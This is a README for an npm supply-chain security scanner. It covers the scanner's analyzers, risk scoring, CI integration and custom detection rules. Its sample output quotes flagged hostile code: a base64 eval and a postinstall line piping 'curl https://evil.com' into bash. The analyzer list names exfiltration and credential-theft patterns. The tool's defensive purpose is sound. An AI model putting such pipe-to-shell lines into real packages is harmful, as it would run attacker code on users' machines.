aegis
Supply-chain security scanner for npm packages. Detect malicious code, typosquatting, and compromised packages before you install them.
$ aegis-scan check suspicious-pkg@1.0.0
📦 suspicious-pkg@1.0.0
⛔ CRITICAL — Code Execution
│ eval() with base64 encoded payload
│ 📄 lib/index.js:14
│ └─ eval(Buffer.from("d2luZG93cy5sb2NhdGlvbg==", "base64").toString())
⚠️ HIGH — Install Script
│ postinstall downloads and executes remote script
│ 📄 package.json
│ └─ "postinstall": "curl https://evil.com | bash"
Risk: 8.5/10 — DO NOT INSTALL
Installation
From crates.io
From source
Pre-built binaries
Download from the releases page.
| Platform | Binary |
|---|---|
| Linux x86_64 | aegis-linux-x86_64 |
| macOS Apple Silicon | aegis-macos-arm64 |
| macOS Intel | aegis-macos-x86_64 |
Usage
Check a package
Scan a project
Install with security check
Output formats
Cache management
What it detects
11 analyzers run on every package, plus 2 optional:
| Analyzer | Description |
|---|---|
| Static code | eval(), child_process, network exfiltration, env harvesting via regex. Includes anti-evasion: bracket notation (global['eval']), base64 function names, indirect eval ((0,eval)) |
| AST analysis | tree-sitter parsing for JS/TS/TSX — structural detection of dangerous patterns, string concatenation tricks ('ev'+'al'), variable aliasing |
| Binary inspection | Scans .wasm, .node, .exe, .dll, .so files; extracts strings to find embedded URLs, shell commands, and credential patterns; measures entropy for packed/encrypted payloads |
| Data flow analysis | Lightweight taint tracking for multi-step attack patterns: env exfiltration, dropper patterns (download -> write -> execute), credential theft (.npmrc/.ssh -> network) |
| Provenance verification | Compares npm tarball contents against the GitHub source repo; detects injected files not in source; checks for npm Sigstore provenance attestations |
| Install scripts | Suspicious postinstall/preinstall commands |
| Obfuscation | High entropy, hex/base64 payloads, encoded strings, multiline comment stripping to reduce false positives |
| Maintainer tracking | Ownership transfers, new accounts, takeovers |
| AI hallucination & typosquatting | Packages that LLMs "invent", normalized Levenshtein distance, plugin/extension whitelist, homoglyph detection |
| CVE lookup | Known vulnerabilities via OSV.dev |
| YAML rules | 10 built-in rules + custom community rules |
Optional (flag-activated):
| Analyzer | Flag | Description |
|---|---|---|
| Dependency tree | --deep |
Recursive scan of transitive dependencies |
| Version diff | --compare <version> |
Compare against a previous version for security-relevant changes |
Security hardening
- Path traversal protection in tarball extraction (defends against zip-slip style attacks)
- SSRF validation on all outbound requests
Risk scoring
Findings are weighted by severity and summed to a 0-10 score:
| Severity | Weight | Example |
|---|---|---|
| Critical | 3.0 | eval(Buffer.from(...)), pipe-to-shell |
| High | 1.5 | require('child_process'), env harvesting |
| Medium | 0.5 | DNS lookups, WebSocket connections |
| Low | 0.1 | fetch() with dynamic URL, file reads |
| Score | Label |
|---|---|
| 0-1 | CLEAN |
| 1-3 | LOW RISK |
| 3-5 | MEDIUM RISK |
| 5-7 | HIGH RISK |
| 7-10 | DO NOT INSTALL |
CI/CD
GitHub Action
- uses: z8run/aegis-action@v1
with:
path: '.'
fail-on: 'high' # critical, high, medium, low
skip-dev: 'false'
sarif: 'true' # upload to GitHub Security tab
Exit codes
| Code | Meaning |
|---|---|
0 |
No high-risk findings |
1 |
HIGH or CRITICAL findings detected |
2 |
Runtime error |
Custom rules
Place .yml files in a rules/ directory:
id: "CUSTOM-001"
name: "Crypto wallet regex"
description: "Flags packages containing crypto wallet address patterns"
severity: high
category: suspicious
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
exclude_paths:
- "node_modules/"
- "test/"
- "*.min.js"
See rules/examples/ for more.
Architecture
npm registry → tarball extraction → analyzers → risk scoring → output
│
┌──────────────┬────────────┼────────────┬──────────────┐
│ │ │ │ │
static + AST binary + metadata provenance external APIs
(code, evasion, data flow (maintainer, (source vs (CVE, dep tree)
obfuscation) (taint) hallucination) tarball)
Results are cached locally (~/.aegis/cache/) for 24 hours.
Contributing
See CONTRIBUTING.md for development setup and guidelines.